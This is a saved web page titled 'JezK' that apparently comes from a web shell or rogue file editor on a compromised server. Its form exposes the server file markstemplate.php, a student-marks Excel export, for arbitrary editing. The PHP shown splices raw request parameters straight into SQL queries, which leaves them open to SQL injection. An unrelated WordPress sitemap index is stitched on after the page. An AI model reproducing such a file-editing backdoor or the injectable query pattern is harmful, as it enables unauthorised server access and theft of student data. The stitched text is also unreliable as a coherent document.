
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: markstemplate.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
session_start();
include('connect.php');
header(&quot;Content-Type: application/vnd.ms-excel&quot;);
header(&quot;Content-Disposition: attachment;Filename=student_marks.xls&quot;);
$total_marks=array();
$names=&quot;select c.class_name,s.section_name from ced_t_class c join ced_t_sections s on c.class_id=s.class_id where c.class_id=&quot;.$_REQUEST['classname'].&quot; and s.section_id=&quot;.$_REQUEST['sectionname'];
$getname=mysql_query($names);
$resnames=mysql_fetch_array($getname);

$exm=&quot;select exam_name from ced_t_exam_names where exam_id=&quot;.$_REQUEST['examname'];
$exmname=mysql_query($exm);
$exname=mysql_fetch_array($exmname);

$sql=&quot;select s.subject_name,et.total_marks from `ced_t_exam_timetable` et inner join `ced_t_subjects` s on et.subject_id=s.subject_id where exam_id=&quot;.$_REQUEST['examname'].&quot; and class_id=&quot;.$_REQUEST['classname'].&quot; and section_id=&quot;.$_REQUEST['sectionname'].&quot; order by timetable_id&quot;;
$exe=mysql_query($sql);
$nosub=mysql_num_rows($exe);
$line1='Class' . &quot;\t&quot; . $resnames['class_name'] . &quot;\t&quot; . 'Section' . &quot;\t&quot; . $resnames['section_name'] . &quot;\t&quot; . 'Exam Name' . &quot;\t&quot; . $exname['exam_name'] . &quot;\n&quot;;
echo $line1;
echo $line2=''.&quot;\t&quot;.''.&quot;\t&quot;;
if($nosub)
{
	$i=0;
	while($res=mysql_fetch_array($exe))
	{		
		echo $line2=''.&quot;\t&quot;.$res['subject_name'].''.&quot;\t&quot;.''.&quot;\t&quot;;
		$total_marks[$i]=$res['total_marks'];
		$i++;
	}
}



echo $line2='Grade/Rank'.&quot;\n&quot;;

$line3='Roll Number'. &quot;\t&quot; .'Student Name'. &quot;\t&quot;;
echo $line3;
for($i=0;$i&lt;$nosub;$i++)
{
	echo $line3='Total Marks'.&quot;\t&quot;.'Secured Marks*'.&quot;\t&quot;.'Status*'.&quot;\t&quot;;
}
echo &quot;\n&quot;;

$qry=&quot;select student_rollno,student_firstname,student_lastname from ced_t_students where class_id=&quot;.$_REQUEST['classname'].&quot; and section_id=&quot;.$_REQUEST['sectionname'];
$execute=mysql_query($qry);
if(mysql_num_rows($execute))
{
	while($rec=mysql_fetch_array($execute))
	{
		$line4=$rec['student_rollno'].&quot;\t&quot;.$rec['student_firstname'].&quot;\t&quot;;
		echo $line4;
		for($i=0;$i&lt;$nosub;$i++)
		{
			echo $total_marks[$i].&quot;\t&quot;.''.&quot;\t&quot;.''.&quot;\t&quot;;
		}
		echo &quot;\n&quot;;		
	}
}

</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
